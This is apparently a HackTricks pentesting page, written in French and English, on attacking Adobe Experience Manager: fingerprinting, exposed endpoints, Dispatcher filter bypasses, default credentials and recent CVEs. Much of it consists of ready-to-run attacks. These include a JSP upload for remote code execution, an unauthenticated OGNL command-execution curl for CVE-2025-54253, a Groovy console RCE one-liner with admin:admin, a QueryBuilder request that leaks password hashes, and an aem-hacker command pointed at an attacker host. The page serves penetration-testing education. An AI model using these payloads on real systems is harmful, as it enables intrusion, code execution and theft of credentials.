AEM (Adobe Experience Manager) Pentesting
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) est un CMS dâentreprise qui sâexĂ©cute sur Apache Sling/Felix (OSGi) et un Java Content Repository (JCR). Du point de vue dâun attaquant, les instances AEM exposent trĂšs souvent des dangerous development endpoints, des rĂšgles Dispatcher faibles, des default credentials et une longue traĂźne de CVEs qui sont patchĂ©es chaque trimestre.
La checklist ci-dessous se concentre sur externally reachable (unauth) attack surface qui revient fréquemment dans des engagements réels (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Autres indicateurs rapides :
/etc.clientlibs/static path present (retourne JS/CSS)./libs/granite/core/content/login.htmlpage de connexion avec la banniĂšre âAdobe Experience Managerâ.</script><!--/* CQ */-->commentaire en bas du HTML.
2. High-value unauthenticated endpoints
| Path | What you get | Notes |
|---|---|---|
/.json, /.1.json | nĆuds JCR via DefaultGetServlet | Souvent bloquĂ©, mais le Dispatcher bypass (voir ciâdessous) fonctionne. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak de lâarborescence des pages, des chemins internes, et des noms dâutilisateur. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 par dĂ©faut ; si exposĂ© et creds dĂ©couverts â bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Permet Ă des utilisateurs authentifiĂ©s dâuploader des content packages â JSP payload upload. |
/etc/groovyconsole/** | AEM Groovy Console | Si exposĂ© â exĂ©cution arbitraire de Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Divulgation dâinformations. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | vecteur XSS. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Sur des installations Forms mal configurĂ©es (CVE-2025-54253) cet endpoint exĂ©cute de lâOGNL sans authentification â RCE. |
Dispatcher bypass tricks (still working in 2025/2026)
La plupart des sites de production sont derriĂšre le Dispatcher (reverse-proxy). Les rĂšgles de filtrage sont frĂ©quemment contournĂ©es en abusant de caractĂšres encodĂ©s ou dâextensions statiques autorisĂ©es.
Classique point-virgule + extension autorisée
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. Configurations erronées courantes (encore présentes en 2026)
- Servlet POST anonyme â
POST /.jsonavec:operation=importpermet de planter de nouveaux nĆuds JCR. Bloquer lesPOSTvers*.jsondans le Dispatcher corrige le problĂšme. - Profils utilisateurs lisibles par tous â lâACL par dĂ©faut accorde
jcr:readsur/home/users/**/profile/*Ă tout le monde. - Identifiants par dĂ©faut â
admin:admin,author:author,replication:replication. - WCMDebugFilter activĂ© â XSS rĂ©flĂ©chi via
?debug=layout(CVE-2016-7882, encore trouvĂ© sur des installations legacy 6.4). - Groovy Console exposĂ©e â exĂ©cution de code Ă distance en envoyant un script Groovy :
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Faille dâencodage de slash du Dispatcher â
/bin/querybuilder.jsonet/etc/truststore.jsonaccessibles avec%2f/%3BmĂȘme lorsquâils sont bloquĂ©s par les filtres de chemin. - AEM Forms Struts devMode laissĂ© activĂ© â
/adminui/debug?expression=évalue OGNL sans auth (CVE-2025-54253) conduisant à une RCE non authentifiée ; couplé à XXE dans la soumission Forms (CVE-2025-54254) permet la lecture de fichiers.
4. Vulnérabilités récentes (cadence des service-packs)
| Quarter | CVE / Bulletin | Affected | Impact |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Multiples XSS critiques/storĂ©s â exĂ©cution de code via lâauthor UI. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Contournement de fonctionnalitĂ©s de sĂ©curitĂ© en chaĂźne (Dispatcher auth checker) â mettre Ă jour vers 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE lecture de fichiers, non authentifié. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS et élévation de privilÚges dans les composants Communities. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962âŠ74) | 6.5.22 & earlier | DOM/Stored XSS, exĂ©cution de code arbitraire (faibles privilĂšges). |
| Dec 2023 | APSB23-72 | †6.5.18 | XSS cÎté DOM via URL spécialement construite. |
Always check the APSB bulletin matching the customerâs service-pack and push for the latest 6.5.24 (Nov 26, 2025) or Cloud Service 2025.12. AEM Forms on JEE requires its own add-on hotfix 6.5.0-0108+.
5. Extraits dâexploitation
5.1 RCE via contournement du Dispatcher + upload JSP
Si lâĂ©criture anonyme est possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Faites une requĂȘte vers /content/evil.jsp â le JSP sâexĂ©cute avec lâutilisateur du processus AEM.
5.2 SSRF to RCE (historical < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py from aem-hacker automatise la chaĂźne complĂšte.
5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
Si vulnérable, le corps HTTP contient la sortie de la commande.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Renvoie les nĆuds utilisateur incluant les rep:password hashes lorsque les ACL de lecture anonymes sont par dĂ©faut.
6. Outils
- aem-hacker â script Swiss-army dâĂ©numĂ©ration, supporte dispatcher bypass, SSRF detection, default-creds checks et plus.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 â DĂ©tecte QueryBuilder hash disclosure & encoded-slash bypass automatiquement (publiĂ© Dec 2025).
- Content brute-force â effectuer des requĂȘtes rĂ©cursives vers
/_jcr_content.(json|html)pour dĂ©couvrir des composants cachĂ©s. - osgi-infect â upload dâun bundle OSGi malveillant via
/system/console/bundlessi creds disponibles.
Références
- Adobe Security Bulletin APSB25-115 â Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer â Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


